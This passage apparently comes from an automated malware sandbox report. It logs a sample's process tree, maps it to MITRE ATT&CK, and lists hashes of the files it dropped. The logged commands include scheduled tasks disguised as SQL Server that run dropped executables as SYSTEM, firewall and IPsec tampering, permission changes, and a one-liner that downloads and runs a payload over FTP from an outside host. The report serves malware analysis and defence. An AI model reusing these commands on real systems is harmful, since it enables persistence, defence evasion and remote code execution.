    taskkill /f /im cacls.exe
    3⤵
    PID:3232
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im ftp.exe
  2⤵
  PID:3132
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im ftp.exe
    3⤵
    - Kills process with taskkill
    PID:7456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s
  2⤵
  PID:6224
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s
  2⤵
  PID:7392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s1a
  2⤵
  PID:3328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s1a
  2⤵
  PID:6120
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTVFC.exe
  2⤵
  PID:2200
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTVFC.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s
  2⤵
  PID:3200
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s
  2⤵
  PID:5428
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate.bat
  2⤵
  PID:7796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.532193" /tr "C:\ProgramData\SQLAGENTIHC.exe" /sc onstart /ru "System"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2720
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:7544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.533294" /tr "C:\ProgramData\SQLAGENTVHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2808
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.522395" /tr "C:\RECYCLER\SQLAGENTIHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:4588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.533496" /tr "C:\RECYCLER\SQLAGENTVHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:3756
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.138297" /tr "C:\Program Files\Microsoft SQL Server\SQLSerasi.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.139292" /tr "C:\Program Files (x86)\Microsoft SQL Server\SQLSerasi.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:7828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.134297" /tr "C:\Program Files\Microsoft SQL Server\SQLservras.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1544
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.135292" /tr "C:\Program Files (x86)\Microsoft SQL Server\SQLservras.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:7244
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.136292" /tr "C:\Program Files\Microsoft SQL Server\fdlaunchersa.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:7272
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.137292" /tr "C:\Program Files (x86)\Microsoft SQL Server\fdlaunchersa.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:5768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.138292" /tr "C:\ProgramData\Microsoft\Windows\GameExplorer\Remote.hlp" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1860
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:3848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.131292" /tr "cmd /c echo open g.nxxxn.ga >>s&echo nvpxx169_mm>>s&echo qwe123!@#>>s&echo binary>>s&echo get SQLAGENTVHC.exe C:\Windows\SQLAGENTVHC.exe>>s&echo bye>>s&ftp -s:s&C:\Windows\SQLAGENTVHC.exe&del /f /a /q C:\Windows\system32\s" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:7764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.132292" /tr C:\Windows\SQLAGENTVHC.exe /sc onstart /ru System
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:4528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.133394" /tr C:\Windows\Fonts\SQLAGENTSWE.exe /sc onstart /ru System
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6996
- - C:\Windows\SysWOW64\cacls.exe
    cacls.exe "C:\Windows\Fonts\SQLAGENTSWE.exe" /e /t /P everyone:F
    3⤵
    PID:4208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:8092
- - C:\Windows\SysWOW64\cacls.exe
    cacls.exe "C:\Windows\Fonts\SQLAGENTSWE.exe" /e /t /P system:F
    3⤵
    PID:7404
- - C:\Windows\Fonts\SQLAGENTSWE.exe
    "C:\Windows\Fonts\SQLAGENTSWE.exe" install "Microsoft.SQL.Server.1021.2" "C:\Windows\Fonts\SQLAGENTSWE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:928
- - C:\Windows\SysWOW64\sc.exe
    sc create "Microsoft.SQL.Server.1021.2" binpath= "C:\Windows\Fonts\SQLAGENTSWE.exe" displayname= "Microsoft.SQL.Server.1021.22" depend= Tcpip start= auto
    3⤵
    - Launches sc.exe
    PID:6156
- - C:\Windows\SysWOW64\sc.exe
    sc description "Microsoft.SQL.Server.1021.2" "Provides storage, processing and controlled access of data, and rapid transaction processing."
    3⤵
    - Launches sc.exe
    PID:6708
- - C:\Windows\Fonts\SQLAGENTSWE.exe
    "C:\Windows\Fonts\SQLAGENTSWE.exe" start "Microsoft.SQL.Server.1021.2"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:6564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate1.bat
  2⤵
  PID:6136
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start" /f
    3⤵
    - Modifies registry key
    PID:8036
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
    3⤵
    - Modifies registry key
    PID:1732
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL" /f
    3⤵
    PID:7748
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL1" /f
    3⤵
    PID:4780
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run /v "start" /f
    3⤵
    - Modifies registry key
    PID:1536
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
    3⤵
    - Modifies registry key
    PID:5976
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete policy name=win
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:7240
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filterlist name=Allowlist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5416
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filterlist name=denylist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4664
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filteraction name=allow
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:2724
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="tcp all" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4756
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="deny tcp 445" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1064
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="deny tcp 139" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:7888
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="tcpall" dir=out
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:840
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= auto
    3⤵
    - Launches sc.exe
    PID:7928
- - C:\Windows\SysWOW64\net.exe
    net start MpsSvc
    3⤵
    PID:1272
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start MpsSvc
      4⤵
      PID:6776
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6372
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:7568
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:7592
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5360
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6276
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add policy name=win
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:7308
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=Allowlist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2884
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=denylist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:1344
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:6332
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:7408
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:2912
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:700
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3092
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filteraction name=Allow action=permit
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:2016
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filteraction name=deny action=block
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:7112
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4884
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static set policy name=win assign=y
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    PID:1844
- - C:\Windows\SysWOW64\find.exe
    find "5.1."
    3⤵
    PID:7896
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.1 -n 1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:7788
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckyoumm2_filter" DELETE
    3⤵
    PID:2808
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm2_consumer" DELETE
    3⤵
    PID:6616
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="Windows Events Filter" DELETE
    3⤵
    PID:7772
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="Windows Events Consumer4" DELETE
    3⤵
    PID:7828
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="Windows Events Consumer" DELETE
    3⤵
    PID:3552
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='Windows Events Filter'" DELETE
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckayoumm3" DELETE
    3⤵
    PID:1860
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm4" DELETE
    3⤵
    PID:4244
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckyoumm4" DELETE
    3⤵
    PID:2868
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckyoumm3'" DELETE
    3⤵
    PID:1852
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckyoumm2_filter" DELETE
    3⤵
    PID:3924
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm2_consumer" DELETE
    3⤵
    PID:6772
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="Windows Events Filter" DELETE
    3⤵
    PID:7080
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="Windows Events Consumer4" DELETE
    3⤵
    PID:4164
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="Windows Events Consumer" DELETE
    3⤵
    PID:476
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='Windows Events Filter'" DELETE
    3⤵
    PID:2852
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckayoumm3" DELETE
    3⤵
    PID:7172
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm4" DELETE
    3⤵
    PID:3944
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckyoumm4" DELETE
    3⤵
    PID:7180
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckyoumm3'" DELETE
    3⤵
    PID:5788

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:6484

C:\Windows\System32\cmd.exe
cmd
1⤵
PID:6016

C:\Windows\Fonts\SQLAGENTSWE.exe
C:\Windows\Fonts\SQLAGENTSWE.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

Z0ZDX4IA.htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YPH6R7K4\Z0ZDX4IA.htm
Size 28KB
SHA256 1e76fd5d39c6e4e5f653ba57be91ce63bbb8e903e0a1be12ba906e5ef8d1e225
MD5 90ae8db63d23df362b7ba2d04ab2b483
SHA1 de6f7b406a8e316266b3789f93443260eadae84a
SHA512 50514bd6c891ef225281ddcbc09a89ab569f0c1657e13704bbeee7ad41beeff84aab878cbe15cc20ff9f37f5ea4d0ccc319bfe941627be2d347a9b826bf522ca
SSDEEP 384:cEkwodT8VG8zbdoylitKZPNacYqIUVGkY7jovLpxgsO5P:cEkwodT8hUtQPgvPCY/+9ql
TLSH
T1C7D25095C6B354127597D0B86BE67B183261801BCE47DC8CBFCC994C4FC8E9196E33AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TempUpdate.bat

Path C:\Users\Admin\AppData\Local\TempUpdate.bat
Size 2KB
SHA256 82586e42514c31cbf10b4f572f98c68d68efa77de0c19ee3febce36d00430db3
MD5 35ca97a62e249b669b1de985fff48f21
SHA1 b45e2848f26167b270cf8db2f1088ac0f86fb883
SHA512 54527c764dabeb37f78ba2b0a45159c819ba3af88fb7c5923570f3f2356d0fffaf24e8f65efdaad3b65d076cb81dbc7bf5fd19e285ba9c709caf8f065ec8150d
TLSH
T111515B6AF200C9A29845B46226F56903BF38A54725A1CF54069D807EB18F7EDD37F3B3
MD5 SHA1 SHA512 TLSH

Submit Download

TempUpdate1.bat

Path C:\Users\Admin\AppData\Local\TempUpdate1.bat
Size 4KB
SHA256 4cd25d13fae60e2b5080f0070367a3b39920393c2f7e91d46fc0e0c8d4d7ff82
MD5 0ac288ad76ef2897dab055ab05c2d849
SHA1 b7015e46f9a11ddff16552271ac4ecaf9ae0c69c
SHA512 fdc876524dc2aa4962b411d3dbf6b5fbb2d8352a507e1f4314d68f247897b489b0f4dcf4d2258fa176e8607a1f231e2e1d9f805d5f8f56988180c6ca1c324dac
SSDEEP 48:O7bp0tp05xfUyD5xZY2vedaWaoa9ayapFYL5ceVZhAoA1ABApAA5WALOApA8AMAd:O7bIuxfrzuZ76lho5KA5Kx
TLSH
T17CA114057C5CA99086CB6733FF1353970074F5EE36642C893FC9B8196C93199C7125DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TempUpdate2.bat

Path C:\Users\Admin\AppData\Local\TempUpdate2.bat
Size 20KB
SHA256 20afa16cee1f051a7163b2245dd51412aa7d04a578a3351e3021ad3388dfa7a6
MD5 1d2e1796333e760e1c23814ff1dd866d
SHA1 af00c86e4d35219ed5be85490f33f0c2f5bb8e85
SHA512 94feb9e580fe3e654ab838095d09a068315d96211e4b120599ef8b076b8ed836b7019260f9c0202c55b282cc2d880b3d07f920098836ddcebd193bfbd1749581
SSDEEP 192:Xvp/NTt7J1/N4B/51P+V51YVeA2aXM8k6WNFDpehj:AIyeGXM8ky
TLSH
T15792BB51D923E282E1C278F1935E1602F61AD5A3752491501285253EF02693EEFBFFEE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VBS.vbs

Path C:\Users\Admin\AppData\Local\Temp\VBS.vbs
Size 776B
SHA256 e441f87adb45af9d16362e008457374ab609e537c2478c1d45e908496208f8cc
MD5 ad1cb419e6e856ddc21ea89a4654b581
SHA1 49441a632e2ad7210191000e91c6f8e5e45bbd92
SHA512 904c7a980a31d936be63e475c305f7a37ee6fd96d7940151655f386240309b7e7620d8f5dfaa67b2e9ec2dce5e67733cb4b79a14bbbc220bef148c5a3b6787b1
TLSH
T1A101C000DE4D926D103157361432F44EF7AA142763039C98BAAAC4713FB07A96CF5E33
MD5 SHA1 SHA512 TLSH

Submit Download

SQLAGENTSWE.exe

Path C:\Windows\Fonts\SQLAGENTSWE.exe
Size 560KB
SHA256 28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a
MD5 d7082ee0232da00b4f28f30e20a80e37
SHA1 c7f1c3d8d78b870da5233970536f1729aef309ea
SHA512 2bc9e104e3d6a022beb024182e4a8cb1e76c65ce28864c0ce7da440d951e8be806e710887cf828031f20fc4ce788b677a3ac058f5ae52db72d334eaebacb1f6e
SSDEEP 12288:L9SpyAOb4f+kUN3HFrW1OlfbsqTsvoHX2pTI9:NAOFkE3lrGOlfZqIX2pTI9
TLSH
T161C40226A3E58021F16D0E3099F787F66E37BE45DD218A0B923077DD1871E90F62A727
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/928-49-0x0000000002350000-0x000000000235B000-memory.dmp

Download

memory/928-51-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/1908-53-0x0000000002E00000-0x0000000002E0B000-memory.dmp

Download

memory/1908-54-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-9-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-4-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-20-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-24-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-27-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-12-0x0000000010000000-0x0000000010009000-memory.dmp

Download

memory/5728-45-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-11-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-10-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-0-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-8-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-17-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-3-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-70-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-68-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-2-0x0000000000CF0000-0x0000000000CFB000-memory.dmp

Download

memory/5728-64-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-66-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/5728-1-0x0000000000561000-0x0000000000562000-memory.dmp

Download

memory/6564-57-0x0000000000400000-0x0000000000562000-memory.dmp

Download

memory/6564-56-0x0000000000BA0000-0x0000000000BAB000-memory.dmp

Download